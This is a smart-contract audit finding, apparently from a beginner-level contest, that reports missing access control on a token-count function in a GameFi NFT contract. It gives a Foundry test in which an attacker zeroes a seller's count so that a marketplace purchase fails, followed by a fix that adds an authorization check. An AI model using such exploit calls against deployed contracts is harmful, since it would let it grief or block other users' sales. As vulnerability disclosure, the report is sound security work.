Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Restricting Unauthorized Access to `MartenitsaToken::updateCountMartenitsaTokensOwner` Function

Summary

The function MartenitsaToken::updateCountMartenitsaTokensOwner in the MartenitsaToken contract is currently accessible to all users. However, this function is critical as it updates the token count for specific addresses and should only be accessible by authorized users to prevent misuse.

Vulnerability Details

  1. User A owns 1 token.

  2. User A lists the token for sale via MartenitsaMarketplace::listMartenitsaForSale.

  3. An attacker invokes the function to modify User A token count to 0.

  4. Any attempts to purchase User A token using MartenitsaMarketplace::buyMartenitsa will fail due to an underflow in the token count.

Proof of code

Add the following code to "MartenitsaToken.t.sol" for simulation:

function testAttack() public {
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
assert(martenitsaToken.ownerOf(0) == jack);
martenitsaToken.approve(address(marketplace), 0);
marketplace.listMartenitsaForSale(0, 1e18);
assert(marketplace.getListing(0).seller == jack);
vm.stopPrank();
vm.startPrank(bob);
martenitsaToken.updateCountMartenitsaTokensOwner(jack, "sub");
assertEq(martenitsaToken.getCountMartenitsaTokensOwner(jack), 0);
marketplace.buyMartenitsa{value: 1 ether}(0);
vm.stopPrank();
}

Impact

Unauthorized access could lead to potential abuse, threatening the stability of the entire contract system.

Tools Used

foundry

Recommendations

To address this vulnerability, we should implement an authorization check for callers of the MartenitsaToken::updateCountMartenitsaTokensOwner function. For example, we could add a mapping to track authorized addresses and modify the function as follows:

+ mapping(address => bool) public isAuthorized;
+ function authorizedUser(address user) external onlyOwner{
+ isAuthorized[user] = true;
+ }
function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ require(isAuthorized[msg.sender], "User unauthorized");
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}

This change ensures that only authorized addresses can modify token counts, enhancing the security and integrity of the contract.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.